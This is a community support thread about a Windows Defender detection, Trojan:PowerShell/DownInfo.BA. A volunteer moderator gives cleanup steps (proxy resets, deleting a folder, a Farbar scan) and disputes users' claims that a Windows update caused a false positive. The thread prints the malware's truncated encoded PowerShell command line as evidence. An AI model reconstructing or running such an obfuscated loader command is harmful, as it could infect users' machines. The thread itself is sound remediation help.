Trojan:PowerShell/DownInfo.BA

Anonymous
2025-06-11T15:19:14+00:00

Hi, I was wondering if anyone could help me to fix the issue i am facing? It just happened about 2 hours ago when suddenly i got multiple pop ups from Windows Security.

Does anyone know how to fix this? Trojan:PowerShell/DownInfo.BA

CmdLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -EncodedCommand IwAgADcAMAA3ADcAMgBiAGQAOQAtADkANgAzAGMALQA0ADUAOAAzAC0AYQA3AGMANwAtADUAMAA3AGUANQAwADkAMwAwAGEAMAA2AAoAJABQAHIAb

Thank you in advance.

Andy

[command-line truncated ~moderator]

Windows for home | Windows 11 | Security and privacy

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Ramesh 181.2K Reputation points Volunteer Moderator
2025-06-11T15:34:07+00:00

A scheduled task triggers the command. Please do the following:

  1. Boot into Safe mode. https://support.microsoft.com/en-us/windows/windows-startup-settings-1af6ec8c-4d4a-4b23-adb7-e76eef0b847f

Open admin Command Prompt and run these commands:

  • netsh.exe winhttp reset proxy
  • bitsadmin /util /setieproxy localsystem NO_PROXY RESET
  • rd /s /q C:\Windows\system32\DomainAuthHost

Post the output.

  1. Share your Farbar scan logs for analysis.
  1. Download Farbar Recovery Scan Tool 64-bit (FRST64.exe)

https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

Note: If Microsoft Edge or Chrome mislabels the Farbar Scanner executable as PUA/malware, choose to keep it by tapping … in the bottom bar, choosing Keep, and then choosing Keep anyway in the dialog that appears.

See this screenshot: https://learn.microsoft.com/en-us/deployedge/media/microsoft-edge-security-download-interruptions/dowload-was-blocked.png. It's a safe tool used in most antimalware forums.

  1. If the OS language is not English, rename FRST64.exe to FRST64English.exe.
  2. Run the program. Don't check or uncheck any options. Click "Scan".
  3. Add the two logs, FRST.txt and Addition.txt, to a Zip archive, share them on OneDrive or GoFile.io and post the link here.

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Additional note:

The Trojan:PowerShell/DownInfo.BA threat detection was added to Defender on 6/10/2025 10:52 PM (in security intelligence version 1.429.460.0). That's the same day the latest cumulative update was released. This makes the users think the LCU caused this 'false-detection'. In reality, their systems were already infected, and the infection came to light after installing security intelligence update version 1.429.460.0 on June 10.

https://www.microsoft.com/en-us/wdsi/definitions/antimalware-definition-release-notes?requestVersion=1.429.460.0

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  1. Anonymous
    2025-06-13T02:33:45+00:00

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  2. Anonymous
    2025-06-13T02:36:21+00:00

    please help me

    https://gofile.io/d/dm3idx

    thxs

    Hi cip CIP,

    Please post screenshot of the detection notification

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  3. Anonymous
    2025-06-13T02:37:31+00:00

    After updating to Windows Update KB5060533, I experienced a serious issue where Windows Defender reported a Trojan: PowerShell/DownInfo.BA infection. In addition to the false malware alert, I completely lost all internet connectivity.

    After investigation, I found that uninstalling KB5060533 resolved both the malware warning and the network issue. My system returned to normal immediately after removing the update.

    I believe this issue was caused by the update itself, possibly a false positive detection or a conflict affecting PowerShell scripts and networking components.

    Please review and address this in a future patch. Thank you.

    The system may be infected. Please run the FRST scan anyway. Share the logs.

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  4. Anonymous
    2025-06-13T02:47:20+00:00

    @Orlando Belisario

    The offending task seems to have been removed from your system. Please post the protection history screenshot here.

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